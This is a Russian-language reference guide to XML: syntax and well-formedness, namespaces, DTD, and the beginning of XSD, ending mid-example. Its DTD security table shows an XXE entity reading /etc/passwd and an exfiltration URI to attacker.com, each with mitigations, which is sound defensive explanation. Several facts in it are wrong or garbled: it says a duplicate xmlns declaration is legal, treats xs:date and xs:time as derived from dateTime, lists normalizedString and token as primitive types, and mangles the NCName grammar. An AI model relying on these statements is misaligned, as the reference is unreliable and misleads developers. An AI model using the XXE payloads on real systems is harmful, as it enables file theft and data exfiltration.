3.04. Справочник по XML
Разработчику
Аналитику
Тестировщику
Архитектору
Инженеру
Справочник по XML
📚 Часть 1. Синтаксис и структура XML
На основе XML 1.0 (Fifth Edition, W3C Recommendation 26 November 2008) и XML 1.1 (Second Edition, 16 August 2006)
1.1. Well-formedness: обязательные условия
Документ считается well-formed, если выполняются все следующие правила:
| № | Условие | Описание |
|---|---|---|
| 1 | Наличие корневого элемента | Должен быть ровно один элемент верхнего уровня (document element), все остальные — вложенные. |
| 2 | Корректное вложение элементов | Начальный и конечный теги должны быть правильно вложены: <a><b></b></a> — допустимо; <a><b></a></b> — недопустимо. |
| 3 | Закрытие всех элементов | Все нетривиальные элементы либо имеют парный закрывающий тег (<tag></tag>), либо используют самозакрывающийся синтаксис (<tag/>). |
| 4 | Имена элементов и атрибутов | Должны соответствовать правилам Name по спецификации XML (см. 1.2). |
| 5 | Уникальность имён атрибутов в пределах элемента | Один и тот же атрибут не может появляться дважды в одном элементе. |
| 6 | Кавычки у значений атрибутов | Значения атрибутов обязательно заключаются в одинарные (') или двойные (") кавычки. |
| 7 | Экранирование специальных символов | Символы <, >, &, ', " внутри текста и значений атрибутов должны быть экранированы или находиться в CDATA-секции (см. 1.4). |
| 8 | Отсутствие неэкранированных управляющих символов | В XML 1.0 недопустимы символы #x0–#x8, #xB–#xC, #xE–#x1F (кроме #x9, #xA, #xD). В XML 1.1 разрешены все Unicode-символы, кроме #x0, #xFFFE, #xFFFF и суррогатных пар вне допустимого контекста. |
Примечание:
#xNозначает шестнадцатеричное представление Unicode-кода символа.
1.2. Правила именования (Name, NCName)
Согласно [Extensible Markup Language (XML) 1.0 (Fifth Edition), §2.3 Common Syntactic Constructs]:
1.2.1. Name
Формально:
Name ::= NameStartChar (NameChar)*
NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] | [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] | [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] | [#x10000-#xEFFFF]
NameChar ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
То есть:
- Имя не может начинаться с
-,., или цифры. - Допустимы символы Юникода практически всех письменностей (включая кириллицу, греческую, китайскую и т.п.).
- Знак
:разрешён, но зарезервирован для пространств имён (см. Часть 7). - Символ
#xB7(·, middle dot) разрешён только не в начале имени.
1.2.2. NCName (Non-Colonized Name)
То же, что Name, но без символа ::
NCName ::= [^:]*Name
Используется в атрибутах xml:id, ID, IDREF, и в QNames без префикса.
1.2.3. Зарезервированные имена
| Имя | Контекст | Примечание |
|---|---|---|
xml | префикс пространства имён | Зарезервировано за http://www.w3.org/XML/1998/namespace. Нельзя переопределять. |
xmlns | префикс и локальное имя | Используется только для объявения NS. Не может быть локальным именем элемента или атрибута вне этого контекста. |
xml:lang, xml:space, xml:base, xml:id | атрибуты | Специальные глобальные атрибуты (см. ниже). |
В XML 1.1 дополнительно разрешены символы
#x0085(NEL) и#x2028(LS) как line breaks, но их использование не рекомендуется для совместимости.
1.3. Пролог: XML Declaration и DOCTYPE
1.3.1. XML Declaration
Формат:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
(должна быть первой строкой, если присутствует; перед ней допускаются только BOM и whitespace в XML 1.1)
| Атрибут | Обязательный? | Возможные значения | Описание |
|---|---|---|---|
version | Да | "1.0" | "1.1" | Определяет версию XML. Влияет на разрешённые символы и обработку строки. |
encoding | Нет | Имя кодировки по IANA Character Sets | Напр.: "UTF-8", "UTF-16", "windows-1251", "KOI8-R". Если отсутствует — по умолчанию "UTF-8" или "UTF-16" (определяется по BOM/сигнатуре). |
standalone | Нет | "yes" | "no" | Указывает, зависит ли документ от внешних сущностей (например, внешних DTD-подмножеств). "yes" — не зависит; "no" (по умолчанию) — может зависеть. |
Примечание:
standalone="yes"не запрещает ссылки на внешние сущности, но требует, чтобы парсер проигнорировал их при нормализации — поведение зависит от парсера (некоторые игнорируют этот флаг).
1.3.2. Text declaration (для внешних сущностей)
В внешних парсированных сущностях (external parsed entities), если они в кодировке, отличной от UTF-8/UTF-16, может присутствовать text declaration:
<?xml encoding="windows-1251"?>
<fragment>...</fragment>
Здесь version не указывается (подразумевается та же, что у основного документа), standalone — недопустим.
1.3.3. DOCTYPE Declaration
Формат:
<!DOCTYPE rootElementName
[
[ ExternalID ]
[ "[" InternalSubset "]" ]
]>
| Часть | Формат | Пример |
|---|---|---|
ExternalID | SYSTEM "URI" | PUBLIC "publicId" "systemId" | SYSTEM "schema.dtd" PUBLIC "-//Example//DTD Doc//EN" "http://example.com/doc.dtd" |
InternalSubset | Набор объявлений: <!ELEMENT>, <!ATTLIST>, <!ENTITY>, <!NOTATION> | См. Часть 8 (DTD). |
Примечание: Наличие DOCTYPE не делает документ валидным — только well-formed. Валидация требует обработки DTD и проверки.
1.4. Специальные конструкции
| Конструкция | Синтаксис | Описание | Ограничения |
|---|---|---|---|
| Комментарий | <!-- текст --> | Любой текст, кроме --. | Не может содержать -- внутри. Не может вкладываться. |
| CDATA Section | <![CDATA[ ... ]]> | Содержимое интерпретируется как raw text, без разбора &, <. | Нельзя вложить CDATA в CDATA. Строка ]]> завершает секцию — её нужно экранировать (напр., разбить: ]]><![CDATA[]>). |
| Processing Instruction (PI) | <?target data?> | Инструкция для приложения. target — имя (не xml), data — произвольные символы, кроме ?>. | target чувствителен к регистру. xml-stylesheet, xml-model — стандартные цели. |
| Character Reference | &#N; (десятичное) | &#xH; (шестнадцатеричное) | Ссылка на Unicode-символ. | N/H — корректный code point. Например: A = A, A = A. |
| Entity Reference | &name; | Подстановка сущности. | name должен быть объявлен (кроме встроенных). |
1.4.1. Встроенные (predefined) сущности
| Сущность | Замена | Разрешена в | Примечание |
|---|---|---|---|
< | < | текст, значения атрибутов | Обязательна в тексте и значениях атрибутов вместо <, кроме CDATA. |
> | > | текст, значения атрибутов | Требуется только в контекстах, где > может быть ошибочно интерпретирован (напр. ]]>), но рекомендуется везде для единообразия. |
& | & | текст, значения атрибутов | Обязательна — иначе последующий символ создаёт неопределённую сущность. |
' | ' | значения атрибутов в двойных кавычках | Не требуется в тексте. |
" | " | значения атрибутов в одинарных кавычках | Не требуется в тексте. |
Примечание: в CDATA-секциях никакие сущности не разворачиваются.
1.5. Атрибуты: базовые типы по DTD (декларативные, не типы данных в XSD)
При использовании DTD можно объявить тип атрибута. Это влияет на парсинг и нормализацию значений.
| Тип | Описание | Нормализация значения | Пример объявления |
|---|---|---|---|
CDATA | Символьные данные | Пробельные символы (табуляция, \n, \r) заменяются на пробелы; начальные/конечные пробелы удаляются; внутренние идущие подряд пробелы сворачиваются в один. | <!ATTLIST note text CDATA #IMPLIED> |
ID | Уникальный идентификатор элемента в документе | То же, что CDATA; должен быть NCName; должен быть уникальным в документе. | <!ATTLIST section id ID #REQUIRED> |
IDREF / IDREFS | Ссылка на ID / список ссылок (через пробел) | То же, что CDATA; каждое значение должно соответствовать существующему ID. | <!ATTLIST link target IDREF #REQUIRED> |
ENTITY / ENTITIES | Имя внешней непарсированной сущности / список | Имя должно быть объявлено как <!ENTITY name SYSTEM "uri" NDATA notation>. | <!ATTLIST img src ENTITY #REQUIRED> |
NMTOKEN / NMTOKENS | Токен по правилам NameChar (может начинаться с -, ., цифры) / список | То же, что CDATA; каждое слово — NMTOKEN. | <!ATTLIST flag values NMTOKENS #IMPLIED> |
(val1|val2|...) | Перечисление | Нормализация как CDATA; значение должно точно совпадать с одним из вариантов (регистрозависимо). | <!ATTLIST button type (submit|reset|button) "button"> |
NOTATION | Имя нотации | Имя должно быть объявлено через <!NOTATION>. | <!ATTLIST obj data NOTATION (gif|png) #REQUIRED> |
Примечание:
#REQUIRED,#IMPLIED,#FIXED "value"— ключевые слова для указания обязательности и фиксации значения.
📚 Часть 2. XML Namespaces
Пространства имён решают проблему конфликтов имён при объединении XML-лексик из разных источников (например, XHTML + SVG + MathML в одном документе).
2.1. Основные принципы
| Принцип | Формулировка |
|---|---|
| Идентификация | Пространство имён идентифицируется абсолютным URI (чаще всего — HTTP URI, но не обязательно разрешаемым). Пример: http://www.w3.org/1999/xhtml. |
| Отсутствие наследования URI | URI не наследуется как «база» для составных имён. x:y в NS A и x:y в NS B — разные имена, даже если y совпадает. |
| Локальное имя + URI = уникальное имя | Полное имя элемента или атрибута — это пара (URI, localName). Префикс — лишь сокращение для удобства записи и не входит в модель данных. |
| Атрибуты по умолчанию не наследуют NS элемента | Если у атрибута нет префикса — его URI = nil (пустое пространство имён), даже если элемент объявлен в NS. Исключение — глобальные атрибуты xml:*. |
Примечание:
xml— зарезервированный префикс для URIhttp://www.w3.org/XML/1998/namespace. Его нельзя переопределять. Префиксxmlns— зарезервирован синтаксически и не является именем в каком-либо NS.
2.2. Объявление пространств имён
2.2.1. Синтаксис объявления
| Тип объявления | Синтаксис | Пример | Эффект |
|---|---|---|---|
| С префиксом | xmlns:prefix="URI" | xmlns:svg="http://www.w3.org/2000/svg" | Все элементы/атрибуты с префиксом svg: принадлежат указанному URI. |
| По умолчанию | xmlns="URI" | xmlns="http://www.w3.org/1999/xhtml" | Все элементы без префикса в области видимости принадлежат этому URI. На атрибуты не влияет. |
| Отмена NS по умолчанию | xmlns="" | <foreign xmlns=""><data/></foreign> | Элементы без префикса внутри — в nil namespace. |
2.2.2. Область действия (scope)
Объявление действует от начала элемента, в котором оно указано, до конца этого элемента (включая все дочерние), если не переопределено.
<root xmlns="A">
<a/> <!-- (A, "a") -->
<b xmlns="B">
<c/> <!-- (B, "c") -->
<d xmlns=""/> <!-- (nil, "d") -->
</b>
<e xmlns:ns="C">
<ns:f/> <!-- (C, "f") -->
<g ns:attr="val"/> <!-- атрибут: (C, "attr"); элемент g: (A, "g") -->
</e>
</root>
Важно:
- Объявление
xmlnsне создаёт атрибут в итоговом дереве (DOM/SAX/infoset). Это директива парсера.- Нельзя объявить префикс
xmlилиxmlns.- Префикс может быть переопределён во вложенном элементе (даже на тот же URI — легально, но избыточно).
2.3. QName (Qualified Name)
Формат: [prefix:]localName
| Форма | URI пространства имён | Примечание |
|---|---|---|
local | Зависит от контекста: если объявлен NS по умолчанию — его URI; иначе nil. | Только для элементов. Атрибуты без префикса всегда в nil. |
ns:local | URI, связанный с префиксом ns в текущей области. | Префикс обязан быть объявлен. |
2.3.1. Ограничения на QName
| Контекст | Допустимый формат QName | Примеры |
|---|---|---|
| Имя элемента | NCName или prefix:NCName | <book>, <xhtml:p> |
| Имя атрибута | То же | id="1", xlink:href="..." |
Значение атрибута типа QName в XSD | То же, но при валидации проверяется, что префикс объявлен | <element type="xs:string"/> — xs должен быть объявлен как http://www.w3.org/2001/XMLSchema |
xml:id | Только NCName (без префикса) | <note xml:id="n1"/> |
Примечание: В XSD тип
xs:QNameхранится как тройка(namespace URI, local name, prefix), но при сериализации используется толькоprefix:localName.
2.4. Специальные атрибуты в пространстве xml:
Атрибуты с префиксом xml: являются глобальными — могут использоваться в любом элементе без объявления их пространства.
| Атрибут | Возможные значения | Назначение | Влияние на обработку |
|---|---|---|---|
xml:lang | Языковой тег по BCP 47 (например, en, ru-RU, zh-Hans) | Указывает язык содержимого элемента и его потомков (если не переопределён). | Используется XSLT, CSS (:lang()), процессорами локализации. Не влияет на парсинг. |
xml:space | "default" | "preserve" | Указывает, как обрабатывать whitespace в текстовом содержимом. | "default" — нормализация (свёртка, удаление внешних); "preserve" — сохранять как есть (но \r\n → \n). Влияет на xml:space в глубину. |
xml:base | Корректный URI (абсолютный или относительный) | Определяет базовый URI для разрешения относительных URI в значениях атрибутов (href, src и т.п.) и в xlink:href. | Наследуется вглубь; разрешается по [RFC 3986]. Требует поддержки приложения (не все парсеры реализуют). |
xml:id | NCName | Задаёт уникальный идентификатор элемента. | Должен быть уникальным в документе; парсер может индексировать его для getElementById() без DTD. Заменяет ID из DTD при наличии XSD. |
Примечание:
- Эти атрибуты не требуют объявления
xmlns:xml="http://www.w3.org/XML/1998/namespace"— он подразумевается.- Другие атрибуты с префиксом
xml:(например,xml:foo) — недопустимы и приводят к ошибке парсинга.
2.5. xmlns как часть Infoset и PSVI
| Уровень | Что сохраняется |
|---|---|
| XML Infoset (Information Set) | Для каждого элемента/атрибута: (namespace name, local name). Префикс не сохраняется, если только явно не требуется (например, для QName-значений). |
| XDM (XQuery/XPath Data Model) | То же. Дополнительно: атрибуты xml:base, xml:lang, xml:space представлены как свойства узлов. |
| PSVI (Post-Schema-Validation Infoset) | После валидации XSD: тип, ограничения, nil-статус и т.д. |
Сериализация (например, через xml:base) | Префиксы могут быть восстановлены алгоритмически (например, Canonical XML), но не обязательно совпадут с исходными. |
Практическое следствие: Если вы сохраняете XML и потом читаете через DOM/SAX/StAX — префиксы могут быть потеряны или изменены. Полагайтесь только на URI + local name.
2.6. Сравнение XML 1.0 и XML 1.1 в контексте NS
| Особенность | XML 1.0 | XML 1.1 |
|---|---|---|
| Символы в URI | Только символы, разрешённые в NameChar (см. Часть 1) | Допускаются почти все Unicode (включая NEL, LS, но не #x0, #xFFFE, #xFFFF). |
Обработка xml:base с недопустимыми URI | Ошибка парсинга | Может быть проигнорировано (зависит от парсера). |
| Разрешённые префиксы | Как в Name | То же, но шире диапазон символов. |
Рекомендация: Используйте XML 1.0, если нет специфической потребности в расширенных символах. Поддержка XML 1.1 ограничена (например, Java
DocumentBuilderпо умолчанию не поддерживает 1.1 без явной настройки).
2.7. Частые ошибки и антипаттерны
| Ошибка | Пример | Последствие |
|---|---|---|
| Префикс без объявления | <x:p>...</x:p> (без xmlns:x=...) | Ошибка парсинга (not well-formed). |
xmlns как обычный атрибут | <div xmlns="A" xmlns="B"> | Последнее объявление переопределяет первое — легально, но запутанно. |
| Атрибут без префикса в NS элемента | <html xmlns="XHTML" lang="en"> | lang находится в nil namespace, а не в XHTML — может нарушить валидацию. Нужно: xml:lang="en" или xhtml:lang="en" (если lang в DTD/XSD объявлен как часть XHTML). |
Использование http://.../ с версией в URI | xmlns:x="http://example.com/ns/v1.2" | URI — идентификатор, а не адрес. Изменение версии в URI создаёт новое пространство имён. Это законно, но усложняет совместимость. |
| Передача префиксов в API как идентификаторов | element.getTagName() возвращает ns:local | Ломается при изменении префикса. Корректно: element.getNamespaceURI() + "#" + element.getLocalName(). |
2.8. Рекомендации по проектированию NS
- Используйте постоянные, уникальные URI — например,
urn:uuid:...,http://your-domain/ns/year/name,https://github.com/user/project/ns. - Избегайте хостов, которые могут быть перехвачены — не используйте
http://example.com/, если нет контроля над ним. - Не меняйте URI при несущественных изменениях — только при некомпактных изменениях (например, изменение модели данных).
- Документируйте NS — размещайте по URI человекочитаемую страницу (с XSLT-трансформацией или HTML-описанием).
- Для внутренних проектов — используйте
urn:—urn:company:product:module:v1.
📚 Часть 3. Document Type Definition (DTD)
3.1. Структура DTD
DTD может быть:
- Внутренним подмножеством — внутри
<!DOCTYPE [...] [...] > - Внешним подмножеством — в отдельном файле, подключаемом через
SYSTEMилиPUBLIC - Комбинированным — внешнее + внутреннее (внутреннее переопределяет внешнее)
<!DOCTYPE article [
<!ENTITY % common SYSTEM "common.ent">
%common;
<!ELEMENT article (title, section+)>
<!ATTLIST article id ID #REQUIRED>
]>
<article id="a1"><title>...</title>...</article>
Важно:
- Внешнее подмножество загружается только если указан
SYSTEM/PUBLICи парсер не в standalone-режиме (standalone="no"или не указано).- Обработчики внешних сущностей должны быть реализованы парсером (в Java —
EntityResolver, в .NET —XmlResolver).
3.2. Объявление элементов: <!ELEMENT>
Синтаксис:
<!ELEMENT name contentspec>
3.2.1. contentspec — модели контента
| Тип | Синтаксис | Пример | Описание |
|---|---|---|---|
| EMPTY | EMPTY | <!ELEMENT br EMPTY> | Элемент не может иметь дочерних узлов (ни текста, ни элементов). Допустимы атрибуты. |
| ANY | ANY | <!ELEMENT note ANY> | Элемент может содержать любую комбинацию текста и элементов (но только из DTD). Устаревшее, небезопасное. |
| Смешанный | (#PCDATA | name1 | name2)* | <!ELEMENT p (#PCDATA | em | strong)*> | Текст (#PCDATA) и элементы в любом порядке и количестве. * обязателен. |
| Дочерний (element-content) | model | <!ELEMENT section (title, para+)> | Только элементы (без текста на верхнем уровне). Поддерживает: — , — последовательность — | — выбор — ? — 0 или 1 — * — 0 или более — + — 1 или более — () — группировка |
Примечание:
#PCDATAдопустим только в смешанной модели и только на первом месте.
3.2.2. Группы и квантификаторы (только для element-content)
| Конструкция | Значение | Эквивалент в EBNF |
|---|---|---|
(a, b) | a, затем b | a b |
(a | b) | a или b | a | b |
(a, b)+ | 1+ повторений (a, b) | (a b)+ |
a? | 0 или 1 a | a? |
(a | b)* | 0+ a или b в любом порядке | (a | b)* |
((a, b) | c)+ | 1+ либо (a,b), либо c | ((a b) | c)+ |
Ограничения:
- Нельзя использовать
*/+/?над#PCDATA.- Смешанная модель:
(a \| b)*— допустимо;(a, b)*— недопустимо.- Вложенность групп не ограничена, но может снижать читаемость.
3.3. Объявление атрибутов: <!ATTLIST>
Синтаксис:
<!ATTLIST element-name
attr-name1 type1 default1
attr-name2 type2 default2
...
>
3.3.1. Типы атрибутов (расширение раздела 1.5)
| Тип | Подтипы и особенности |
|---|---|
CDATA | Любые символы. Нормализация: whitespace сворачивается. |
ID | Должен быть NCName. Уникален в документе. Только один ID на элемент. |
IDREF, IDREFS | Один или несколько ID через whitespace. Должны ссылаться на существующие ID. |
ENTITY, ENTITIES | Имена внешних непарсированных сущностей. Должны быть объявлены в <!ENTITY ... NDATA>. |
NMTOKEN, NMTOKENS | Один или несколько токенов, каждый соответствует NameChar+ (может начинаться с -, ., цифры). |
| Перечисление | (val1 | val2 | val3) — регистрозависимо. Значения должны быть Nmtoken. |
NOTATION | (notation1 | notation2) — ссылка на объявленные <!NOTATION>. |
3.3.2. Значения по умолчанию
| Декларация | Поведение |
|---|---|
#REQUIRED | Атрибут обязателен. Отсутствие — ошибка валидации. |
#IMPLIED | Атрибут необязателен. Если отсутствует — не создаётся в infoset. |
#FIXED "value" | Атрибут может быть опущен, но если присутствует — точно "value". При отсутствии — подставляется "value" в infoset. |
"default" | Значение по умолчанию. Подставляется, если атрибут отсутствует. |
Пример:
<!ATTLIST img
src CDATA #REQUIRED
alt CDATA #IMPLIED
width NMTOKEN #FIXED "100"
format (png\|jpg\|gif) "png"
>
3.4. Объявление сущностей: <!ENTITY>
Сущности — макроподстановки. Делятся на:
| Тип | Подтип | Синтаксис | Пример | Область |
|---|---|---|---|---|
| Общая (general) | Внутренняя | <!ENTITY name "value"> | <!ENTITY copy "©"> → © | В тексте и значениях атрибутов |
| Внешняя парсированная | <!ENTITY name SYSTEM "uri"> | <!ENTITY chapter1 SYSTEM "ch1.xml"> | Вставляется как XML-фрагмент | |
| Внешняя непарсированная | <!ENTITY name SYSTEM "uri" NDATA notation> | <!ENTITY logo SYSTEM "logo.png" NDATA PNG> | Только в значениях атрибутов типа ENTITY | |
| Параметрическая (parameter) | Внутренняя | <!ENTITY % name "value"> | <!ENTITY % ISOLat2 SYSTEM "ISOlat2.ent"> | Только в DTD (внутри <!DOCTYPE [...] [...] >) |
| Внешняя | <!ENTITY % name SYSTEM "uri"> | %ISOLat2; | То же |
3.4.1. Правила подстановки
- Общие сущности:
&name; - Параметрические:
%name; - Нельзя использовать общие сущности в DTD (кроме значений по умолчанию).
- Нельзя использовать параметрические сущности вне DTD.
- Рекурсия запрещена — парсер обязан обнаружить и прервать.
3.4.2. Условная обработка в DTD: INCLUDE / IGNORE
<![%draft;[
<!ELEMENT draft-note (#PCDATA)>
]]>
Где %draft; — параметрическая сущность, содержащая INCLUDE или IGNORE:
<!ENTITY % draft "IGNORE">
Фактически:
<![IGNORE[
<!ELEMENT draft-note (#PCDATA)>
]]>
→ блок игнорируется при парсинге DTD.
Применение: поставка одной DTD для нескольких профилей (production/draft/mobile).
3.5. Объявление нотаций: <!NOTATION>
Синтаксис:
<!NOTATION name PUBLIC "public-id" "system-id">
<!NOTATION name SYSTEM "system-id">
Нотации описывают внешние немаркированные данные (бинарные, не-XML).
| Пример | Назначение |
|---|---|
<!NOTATION PNG SYSTEM "image/png"> | MIME-тип для ENTITY logo ... NDATA PNG |
<!NOTATION ZIP PUBLIC "+//IDN example.com//NOTATION ZIP Archive//EN" "application/zip"> | Публичный идентификатор + системный |
Примечания:
- Нотация не описывает структуру, только метаданные.
- Используется только в связке с
ENTITY ... NDATAи атрибутами типаNOTATION.- В современных системах почти не используется — заменена MIME-типами и XLink.
3.6. Валидация по DTD: что проверяется
Парсер в режиме validating проверяет:
| Проверка | Описание |
|---|---|
| Well-formedness | (обязательно даже без DTD) |
| Объявление элементов | Все элементы в документе должны быть объявлены (если нет ANY). |
| Модель контента | Последовательность и кратность дочерних элементов/текста. |
| Объявление атрибутов | Все атрибуты должны быть объявлены (если не CDATA #IMPLIED в ANY-элементе). |
| Типы атрибутов | ID уникальны, IDREF ссылаются на существующие ID, перечисления совпадают и т.д. |
| Сущности | Все &name; (кроме 5 встроенных) должны быть объявлены. |
| Нотации | Все NDATA notation должны иметь соответствующую <!NOTATION>. |
Примечание:
- Whitespace в element-content (
<a> <b/> </a>) — недопустим, если не объявлен как#PCDATA(в смешанной модели) или не в CDATA. Это частая ошибка.- DTD не проверяет типы данных (числа, даты), ограничения длины, регулярные выражения — только структуру и перечисления.
3.7. Безопасность и ограничения DTD
| Риск | Описание | Смягчение |
|---|---|---|
| XXE (XML External Entity) | Чтение локальных файлов через <!ENTITY x SYSTEM "file:///etc/passwd"> | Отключить обработку внешних сущностей (Feature.DISALLOW_DOCTYPE_DECL, Feature.EXTERNAL_GENERAL_ENTITIES = false). |
| DoS через рекурсию | <!ENTITY a "&a;&a;"> → бесконечный рост | Ограничение глубины подстановки (в Java — FEATURE_SECURE_PROCESSING). |
| Утечка через URI | SYSTEM "http://attacker.com/?leak=data" | Блокировка исходящих HTTP-запросов из парсера. |
Рекомендация:
- В production-системах отключайте DTD-валидацию, если она не требуется.
- Используйте XSD или RELAX NG для структурной валидации.
- В .NET:
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.- В Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true).
3.8. Совместимость с XSD
| Возможность | DTD | XSD |
|---|---|---|
| Пространства имён | Только через префиксы (без URI-безопасности) | Полная поддержка (целевые NS, импорт, переопределение) |
| Типы данных | 8 типов + перечисления | 44+ встроенных (xs:date, xs:integer, xs:anyURI, регулярки и т.д.) |
| Уникальность/ссылки | ID/IDREF (в пределах документа) | xs:key, xs:keyref, xs:unique (в пределах области) |
| Расширяемость | Нет | Группы (xs:group, xs:attributeGroup), xs:extension, xs:restriction |
| Документация | Нет | <xs:annotation><xs:documentation> |
Вывод: DTD подходит для простых, внутренних форматов. Для интеграционных API, конфигураций, открытых стандартов — XSD (или JSON Schema для JSON).
📚 Часть 4. XML Schema Definition (XSD)
4.1. Основные концепции
| Понятие | Описание |
|---|---|
| Целевое пространство имён (targetNamespace) | URI, которому принадлежат объявленные в схеме элементы и типы. Указывается в <xs:schema targetNamespace="...">. |
| Квалификация элементов/атрибутов | Управляется elementFormDefault и attributeFormDefault ("qualified" / "unqualified"). "qualified" — все локальные элементы/атрибуты должны быть в targetNamespace (требуется префикс или xmlns=). |
| Компоненты схемы | <xs:element>, <xs:complexType>, <xs:simpleType>, <xs:group>, <xs:attributeGroup>, <xs:notation> и др. — единицы переиспользования. |
| PSVI (Post-Schema-Validation Infoset) | Расширенная модель документа после валидации: типы, значения, nil, ключи и т.д. |
| Валидация | Проверка: (1) структуры, (2) типов, (3) ограничений, (4) уникальности (xs:key), (5) целостности (xs:keyref). |
Примечание: XSD не заменяет well-formedness — документ должен быть well-formed до валидации по схеме.
4.2. Встроенные простые типы (built-in simple types)
Всего 44+ встроенных типа (XSD 1.0). Основные категории:
4.2.1. Примитивные типы (25)
| Группа | Типы | Примеры значений |
|---|---|---|
| Строковые | string, boolean, decimal, float, double | "text", true, 123.45, 3.14e10 |
| Временные | dateTime, time, date, gYearMonth, gYear, duration | 2025-11-20T14:30:00+05:00, PT2H30M, 2025 |
| URI/бинарные | anyURI, base64Binary, hexBinary | https://example.com, AQIDBA==, 01020304 |
| Идентификаторы | QName, NOTATION | xs:string, image/png |
| Прочие | normalizedString, token, language, NMTOKEN, Name, NCName, ID, IDREF, ENTITY | en-US, valid_name, id1 |
Примечания:
decimal— произвольная точность (в отличие отfloat/double).dateTimeвключает часовой пояс (Zили±HH:MM). Если отсутствует — неопределённое локальное время.durationпо ISO 8601:PnYnMnDTnHnMnS(P — period, T — time separator).
4.2.2. Производные типы (19)
Построены на основе примитивных через ограничения (facets):
| Тип | Базовый | Ограничения | Пример |
|---|---|---|---|
integer | decimal | fractionDigits = 0 | 123 |
nonNegativeInteger | integer | minInclusive = 0 | 0, 100 |
positiveInteger | nonNegativeInteger | minExclusive = 0 | 1, 42 |
long, int, short, byte | integer | minInclusive, maxInclusive | -2147483648..2147483647 (int) |
unsignedLong, unsignedInt... | nonNegativeInteger | аналогично | 0..4294967295 (unsignedInt) |
date | dateTime | без времени | 2025-11-20 |
time | dateTime | без даты | 14:30:00+05:00 |
token | normalizedString | collapse whitespace | "a b c" → "a b c" (без внешних пробелов, внутренние — один) |
Полный список — в XSD Datatypes, Appendix B.
4.3. Фасеты (ограничения) для простых типов
Фасеты накладывают дополнительные ограничения на значения.
| Фасет | Применяется к | Описание | Пример |
|---|---|---|---|
length | string, QName, anyURI, base64Binary, hexBinary | Точная длина | length=5 → "hello" |
minLength, maxLength | то же | Мин./макс. длина | minLength=3, maxLength=10 |
pattern | string и производные | Регулярное выражение (синтаксис XSD, не PCRE) | pattern="[A-Z]{2}[0-9]{3}" → "AB123" |
enumeration | любой простой тип | Фиксированный набор значений | enumeration="red", enumeration="green" |
whiteSpace | string и производные | preserve / replace / collapse | collapse — как в XML-нормализации атрибутов |
maxInclusive, maxExclusive | decimal, float, dateTime, duration | ≤ / < | maxInclusive="100" |
minInclusive, minExclusive | то же | ≥ / > | minExclusive="0" |
totalDigits, fractionDigits | decimal | Макс. цифр всего / после точки | totalDigits=5, fractionDigits=2 → 123.45 |
maxScale, minScale (XSD 1.1) | decimal | Аналогично, но с поддержкой научной нотации | — |
Примечания:
- Регулярные выражения в XSD:
- Нет поддержки
\d,\w,\s— только символьные классы ([0-9],[a-zA-Z],[ \t\n\r]).- Якоря
^и$не нужны — совпадение проверяется по всей строке.- Подвыражения
(...)не захватываются — только группировка.- Несовместимые фасеты (напр.,
length+minLength) — ошибка компиляции схемы.
4.4. Определение простых типов: <xs:simpleType>
4.4.1. Ограничение (restriction)
<xs:simpleType name="CurrencyCode">
<xs:restriction base="xs:string">
<xs:length value="3"/>
<xs:pattern value="[A-Z]{3}"/>
</xs:restriction>
</xs:simpleType>
4.4.2. Список (list)
<xs:simpleType name="ColorList">
<xs:list itemType="xs:NMTOKEN"/>
</xs:simpleType>
<!-- <item colors="red green blue"/> -->
4.4.3. Объединение (union)
<xs:simpleType name="IDOrRef">
<xs:union memberTypes="xs:ID xs:IDREF"/>
</xs:simpleType>
XSD 1.1:
memberTypesможет включать анонимные типы.
4.5. Определение сложных типов: <xs:complexType>
Сложный тип описывает структуру элемента: дочерние элементы, текст, атрибуты.
4.5.1. Содержимое
| Тип содержимого | Элементы | Текст | Смешанное? | Пример |
|---|---|---|---|---|
| empty | Нет | Нет | Нет | <xs:complexType/> |
| element-only | Да | Нет | Нет | <xs:sequence><xs:element name="a"/></xs:sequence> |
| simpleContent | Нет | Да | Нет | <xs:simpleContent><xs:extension base="xs:string">...</xs:extension> |
| mixed | Да | Да | Да | <xs:complexType mixed="true">... |
4.5.2. Дочерние конструкции (xs:sequence, xs:choice, xs:all)
| Конструкция | Поведение | Ограничения |
|---|---|---|
<xs:sequence> | Элементы в строгом порядке | Каждый может иметь minOccurs, maxOccurs |
<xs:choice> | Ровно один из перечисленных (по умолчанию) | minOccurs="0", maxOccurs="unbounded" допустимы |
<xs:all> | Все элементы, в любом порядке, не более одного раза | Только на верхнем уровне complexType; maxOccurs = 0 или 1 |
Пример
xs:all(допустимо только в XSD 1.0+):<xs:complexType name="Person">
<xs:all>
<xs:element name="firstName" type="xs:string"/>
<xs:element name="lastName" type="xs:string" minOccurs="0"/>
</xs:all>
</xs:complexType>→
<Person><lastName>...</lastName><firstName>...</firstName></Person>— валидно.
4.5.3. Расширение и ограничение
| Операция | Синтаксис | Применяется к | Пример |
|---|---|---|---|
| extension | <xs:extension base="...">... | simpleContent / complexContent | Добавление атрибутов к строке: <xs:simpleContent><xs:extension base="xs:string"><xs:attribute name="lang" type="xs:language"/></xs:extension> |
| restriction | <xs:restriction base="...">... | simpleContent / complexContent | Ужесточение: <xs:restriction base="xs:positiveInteger"><xs:maxInclusive value="100"/></xs:restriction> |
В
complexContentrestriction должен сужать модель контента (меньше элементов, строже повторения).
4.6. Глобальные и локальные объявления
| Уровень | Элемент | Атрибут | Особенности |
|---|---|---|---|
| Глобальный | <xs:element name="..."> (прямой потомок <xs:schema>) | <xs:attribute name="..."> | Имеет QName, может быть корневым, переиспользуется через ref. |
| Локальный | <xs:element ref="..."> или <xs:element name="..."> внутри complexType | аналогично | Не имеет QName; name — локальное имя в контексте. |
Пример переиспользования:
<xs:element name="name" type="xs:string"/>
<xs:complexType name="Person">
<xs:sequence>
<xs:element ref="name"/> <!-- ссылка на глобальный -->
</xs:sequence>
</xs:complexType>
4.7. Группы и атрибутные группы
4.7.1. Группы элементов (<xs:group>)
<xs:group name="AddressFields">
<xs:sequence>
<xs:element name="street" type="xs:string"/>
<xs:element name="city" type="xs:string"/>
</xs:sequence>
